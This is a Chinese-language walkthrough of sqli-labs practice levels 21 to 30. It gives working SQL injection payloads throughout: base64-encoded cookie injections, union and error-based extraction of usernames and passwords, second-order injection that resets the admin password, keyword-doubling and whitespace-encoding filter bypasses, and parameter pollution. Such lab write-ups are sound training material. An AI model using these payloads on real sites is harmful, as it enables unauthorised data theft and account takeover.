less-21
此关与less-20相似,但是cookie的uname经过base64编码了
所以经过猜测,本题在cookie处加密了字符串
我们看到,cookie和页面显示的有些区别,我们输入一个payload检测一下
admin' and 1=1 --+ //明文
YWRtaW4nIGFuZCAxPTEgLS0r //密文
根据报错信息,这里我们应该构造')的闭合,我们使用联合注入,并把我们的payload进行加密
经过多次测试,我发现这里的注释只能使用#,--+不起作用
-admin') union select 1,2,database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
爆库成功,我们同样可以更改第三个元素去获取其他信息,但不要忘了对其进行加密
less-22
与上一题相同,同样需要加密,但此题在闭合时要使用双引号而不是单引号加括号,剩下的部分也可以使用联合注入,报错注入或是盲注,选择其一即可,这里还是只给出联合注入的演示
-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
爆库成功
less-23
在进行注入时我们发现此关的注释符好像失效了,所以我们去查询一下源代码
可以看到,#和--+均被替换掉了,之后发现注入点在单引号之间,所以我们使用单引号将前后闭合掉即可,所以在之前的payload的基础上加上一个没有影响的or '1'='永假条件,payload如下
?id=' union select 1,2,database() '
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
给出爆库的演示:
注意:此题的回显点还是第二,第三个元素,database()的位置不要写错了
less-24
经过查询我们可以得知,此关使用的方法为二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的,我们可以借此进行注入
查询一下源代码
可以看到如果我们注册一个用户名为admin'#的用户,在登录此用户并更改密码,那么我们的代码就会变为
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
以我们对sql语句的了解,可以知道,这句代码会更改admin的密码,从而完成注入
此时我们点击update password就可以完成对admin的密码的更改
密码成功改为123456
less-25
通过此题名我们就可以知道,此关对于or和and进行了过滤,所以我们此题有两种解法
第一种联合注入:
同样使用单引号进行闭合
?id=-1' union select 1,2,database()--+
关于为什么联合注入前面的条件为假我又查询了一些博客,原因就在这里给出,联合注入会将前后的数据全部输出,如果前面的条件为真,就会将回显点占满,导致我们想要的数据输出不了,例如此题,如果我们输入了一个正确的id值,如id=1,那么下面的两个回显点就都会变为dumb,而不是2和security
注入成功
注意:由于此题对于or有过滤,所以在爆破密码时,password会被过滤为passwd,针对这种情况我们可以双写or进行绕过,也就是passworord,paylaod如下
?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+
注入成功
第二种方法:
前面已经提到了,我们可以双写or或and进行绕过,并进行报错注入
?id=-1' aandnd extractvalue(1,concat(0x7,(select database())))--+
成功注入
?id=1' anandd extractvalue(1,concat(0x7,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')))--+
同样需要注意,报错注入中的information也需要双写绕过,如infoorrmation
less-26
此关将逻辑运算符,注释符以及空格都过滤掉了,经过查询博客,由于我们是windows系统,所以空格使用()代替,注释符用单引号代替,or和and用&&和||代替
我们这里以爆表名为例,payload如下
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0
注入成功
less-26a
此题与less-26区别不大,闭合时多了一个括号,由于不显示报错信息,所以不能使用报错注入,可以使用联合注入或是盲注,由于一些必要的符号被过滤,所以我们这里对其进行替代
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
由于windows可能无法使用特殊字符代替,因为我的windows也不支持,所以这题做不下去了,但我给出payload,电脑支持特殊字符的或是Linux系统可以继续向下进行
这里是爆库的payload
?id=100')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
当然余下的也是将空格改为%a0或是%0b即可,由于对于or过滤,可以双写或使用||绕过
less-27
查看此题源代码,发现这题对or和and没有限制,但对union和select有限制,那我们不用联合注入,并把select双写即可绕过,但由于对注释号的过滤,所以还是只能使用单引号进行闭合
爆表的payload如下
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0
注入成功
less-27a
此题使用双引号闭合,同样不显示报错信息,所以使用联合注入或盲注,这里还是不做演示,只给payload
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,username)from%0Ausers%0Aand"1
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1
这里的空格使用%0a代替
less-28
此题与前面有些区别,这关会对union加空格加select进行过滤,所以我们在进行绕过是可以在这个字段中加入一个union加空格加select绕过,如uni union select on select,当时这里的空格要用%0a来代替,爆表名payload如下
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
余下的也是通过这个原理绕过
less-28a
这关只对union+空格+select进行过滤了,所以重写绕过即可
?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
终于有一道题能用自己的电脑操作了,真不容易
less-29
首先可以简单地判断一下,这题是使用单引号闭合的通过实操我们发现,此题正常使用联合注入即可,先给出解题演示
?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
我们这里给出爆列名的实例
但是我们注意到这里提到world’s best firewall,所以我们对此题的过滤方法进行深入了解
简单理解:index.php?id=1&id=2
php解析最后一个参数,也就是会显示id=2的内容,jsp解析第一个参数,显示id=1的内容
这样看来,由于我们只有一个参数,所以只会执行一个行为,但如果我们有两个参数,那就要将我们需要注入的东西写道第二个参数中,如下所示
?id=1&id=-1' union select 1,2,database() --+
同样适用
less-30
此题和上一题的payload一致,可以使用一个参数进行联合注入,或是两个参数,并将需要注入的东西写到第二个参数中,下面给出两个参数的爆表payload
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
成功注入